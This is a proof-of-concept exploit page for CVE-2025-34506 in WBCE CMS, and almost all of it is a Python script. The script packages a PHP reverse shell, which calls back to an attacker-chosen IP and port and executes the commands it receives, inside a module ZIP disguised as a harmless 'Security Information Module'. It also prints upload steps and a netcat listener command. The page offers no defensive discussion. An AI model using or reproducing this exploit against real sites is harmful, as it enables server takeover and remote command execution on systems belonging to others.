WBCE CMS 认证后远程代码执行漏洞 (CVE-2025-34506)

#!/usr/bin/env python3 # CVE-2025-34506 PoC - WBCE CMS Authenticated RCE via Malicious Module Upload # This PoC demonstrates how to create a malicious ZIP module for RCE import zipfile import os import sys def create_malicious_module(output_file, lhost, lport): """ Create a malicious WBCE CMS module ZIP file containing PHP reverse shell Parameters: output_file: Output path for the malicious ZIP module lhost: Attacker IP for reverse shell lport: Attacker port for reverse shell """ # Malicious PHP code that will be executed when module is installed php_payload = f'''<?php // Malicious module info file for CVE-2025-34506 // Reverse shell payload $ip = "{lhost}"; $port = {lport}; // Create reverse shell connection $sh = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($sh, $ip, $port); // Redirect stdin/stdout/stderr to socket socket_write($sh, "[+] Connection established from target\n"); while ($cmd = @socket_read($sh, 65535, PHP_NORMAL_READ)) {{ if (trim($cmd) == "exit") {{ socket_close($sh); break; }} $output = shell_exec($cmd); socket_write($sh, $output); }} ?>''' # Module structure required by WBCE CMS module_info = '''<?xml version="1.0" encoding="UTF-8"?> <module> <name>InfoSec</name> <description>Security Information Module</description> <function>info_sec</function> <type>tool</type> <version>1.0</version> <platform>WBCE</platform> </module>''' try: with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Add malicious PHP file as module entry point zf.writestr('info.php', php_payload) # Add required module XML file zf.writestr('module.xml', module_info) # Add required info file zf.writestr('info.xml', module_info) print(f"[+] Malicious module created: {output_file}") print(f"[+] Target: {lhost}:{lport}") print("[*] Steps to exploit:") print(" 1. Login to WBCE CMS admin panel") print(" 2. Go to Add-ons -> Modules -> Upload") print(f" 3. Upload the malicious ZIP file: {output_file}") print(" 4. Install the uploaded module") print(" 5. Start netcat listener: nc -lvp {}".format(lport)) except Exception as e: print(f"[-] Error creating module: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2025-34506.py <output.zip> <LHOST> <LPORT>") print("Example: python3 cve-2025-34506.py malicious_module.zip 192.168.1.100 4444") sys.exit(1) output_file = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] create_malicious_module(output_file, lhost, lport) # Additional reference: # Exploit-DB: https://www.exploit-db.com/exploits/52132 # GitHub: https://github.com/Swammers8/WBCE-v1.6.3-Authenticated-RCE